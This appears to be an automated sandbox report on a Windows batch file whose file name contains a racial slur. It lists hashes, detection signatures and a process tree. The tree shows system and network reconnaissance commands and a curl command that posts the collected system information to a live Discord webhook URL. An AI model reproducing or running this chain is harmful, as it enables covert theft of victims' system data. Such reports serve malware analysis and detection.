Analysis
-
max time kernel
14s -
max time network
11s -
platform
windows10-ltsc_2021_x64 -
resource
win10ltsc2021-20250314-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system -
submitted
01/04/2025, 14:43
Static task
static1
General
-
Target
niggagimeinfo2.bat
-
Size
732B
-
MD5
384c723caa1bbf8441ac299813f3f0b5
-
SHA1
29aac2285f00328ce71c8ca73a697a132f8fd01c
-
SHA256
1cfa72217a522be6544157099c5ca2eed7db09b05a0e51dc5e0fa2c20dd3021b
-
SHA512
b721e012d2e73bb8790c6e18aab38517666bdaca783abcc85777be5f9f23b1ff8154e9307dbc479a9f45787f109eb01bd4b52f572dd0add051e4f4697013a26f
Malware Config
Signatures
-
Hawkeye family
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 5 discord.com 6 discord.com -
Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.
pid Process 4548 WMIC.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3880 ipconfig.exe 4888 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 952 systeminfo.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4548 WMIC.exe 4548 WMIC.exe 4548 WMIC.exe 4548 WMIC.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeDebugPrivilege 2272 whoami.exe Token: SeIncreaseQuotaPrivilege 4548 WMIC.exe Token: SeSecurityPrivilege 4548 WMIC.exe Token: SeTakeOwnershipPrivilege 4548 WMIC.exe Token: SeLoadDriverPrivilege 4548 WMIC.exe Token: SeSystemProfilePrivilege 4548 WMIC.exe Token: SeSystemtimePrivilege 4548 WMIC.exe Token: SeProfSingleProcessPrivilege 4548 WMIC.exe Token: SeIncBasePriorityPrivilege 4548 WMIC.exe Token: SeCreatePagefilePrivilege 4548 WMIC.exe Token: SeBackupPrivilege 4548 WMIC.exe Token: SeRestorePrivilege 4548 WMIC.exe Token: SeShutdownPrivilege 4548 WMIC.exe Token: SeDebugPrivilege 4548 WMIC.exe Token: SeSystemEnvironmentPrivilege 4548 WMIC.exe Token: SeRemoteShutdownPrivilege 4548 WMIC.exe Token: SeUndockPrivilege 4548 WMIC.exe Token: SeManageVolumePrivilege 4548 WMIC.exe Token: 33 4548 WMIC.exe Token: 34 4548 WMIC.exe Token: 35 4548 WMIC.exe Token: 36 4548 WMIC.exe Token: SeIncreaseQuotaPrivilege 4548 WMIC.exe Token: SeSecurityPrivilege 4548 WMIC.exe Token: SeTakeOwnershipPrivilege 4548 WMIC.exe Token: SeLoadDriverPrivilege 4548 WMIC.exe Token: SeSystemProfilePrivilege 4548 WMIC.exe Token: SeSystemtimePrivilege 4548 WMIC.exe Token: SeProfSingleProcessPrivilege 4548 WMIC.exe Token: SeIncBasePriorityPrivilege 4548 WMIC.exe Token: SeCreatePagefilePrivilege 4548 WMIC.exe Token: SeBackupPrivilege 4548 WMIC.exe Token: SeRestorePrivilege 4548 WMIC.exe Token: SeShutdownPrivilege 4548 WMIC.exe Token: SeDebugPrivilege 4548 WMIC.exe Token: SeSystemEnvironmentPrivilege 4548 WMIC.exe Token: SeRemoteShutdownPrivilege 4548 WMIC.exe Token: SeUndockPrivilege 4548 WMIC.exe Token: SeManageVolumePrivilege 4548 WMIC.exe Token: 33 4548 WMIC.exe Token: 34 4548 WMIC.exe Token: 35 4548 WMIC.exe Token: 36 4548 WMIC.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2756 wrote to memory of 4912 2756 cmd.exe 81 PID 2756 wrote to memory of 4912 2756 cmd.exe 81 PID 2756 wrote to memory of 2272 2756 cmd.exe 82 PID 2756 wrote to memory of 2272 2756 cmd.exe 82 PID 2756 wrote to memory of 952 2756 cmd.exe 83 PID 2756 wrote to memory of 952 2756 cmd.exe 83 PID 2756 wrote to memory of 4088 2756 cmd.exe 84 PID 2756 wrote to memory of 4088 2756 cmd.exe 84 PID 2756 wrote to memory of 3880 2756 cmd.exe 87 PID 2756 wrote to memory of 3880 2756 cmd.exe 87 PID 2756 wrote to memory of 4828 2756 cmd.exe 88 PID 2756 wrote to memory of 4828 2756 cmd.exe 88 PID 2756 wrote to memory of 4888 2756 cmd.exe 89 PID 2756 wrote to memory of 4888 2756 cmd.exe 89 PID 2756 wrote to memory of 3828 2756 cmd.exe 90 PID 2756 wrote to memory of 3828 2756 cmd.exe 90 PID 2756 wrote to memory of 4548 2756 cmd.exe 91 PID 2756 wrote to memory of 4548 2756 cmd.exe 91 PID 2756 wrote to memory of 4504 2756 cmd.exe 92 PID 2756 wrote to memory of 4504 2756 cmd.exe 92 -
cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 6 curl/8.7.1
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\niggagimeinfo2.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Windows\system32\HOSTNAME.EXEhostname2⤵PID:4912
-
-
C:\Windows\system32\whoami.exewhoami2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2272
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:952
-
-
C:\Windows\system32\findstr.exefindstr /B /C:"OS Name" /C:"OS Version"2⤵PID:4088
-
-
C:\Windows\system32\ipconfig.exeipconfig2⤵
- Gathers network information
PID:3880
-
-
C:\Windows\system32\findstr.exefindstr IPv62⤵PID:4828
-
-
C:\Windows\system32\ipconfig.exeipconfig2⤵
- Gathers network information
PID:4888
-
-
C:\Windows\system32\findstr.exefindstr IPv42⤵PID:3828
-
-
C:\Windows\System32\Wbem\WMIC.exewmic logicaldisk get caption, freespace, size2⤵
- Collects information from the system
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4548
-
-
C:\Windows\system32\curl.execurl -X POST https://discord.com/api/webhooks/1356639514516521070/8nlc2VGdJHuRDez5RrzlRRII70A1yJIPtcnWxxs29eiCCPnO9RISRmMRDDKhvSaTzDx8 -H "Content-Type: application/json" -d "{\"content\": \"```\n$(type "C:\Users\Admin\AppData\Local\Temp\sysinfo.txt")\n```\"}"2⤵PID:4504
-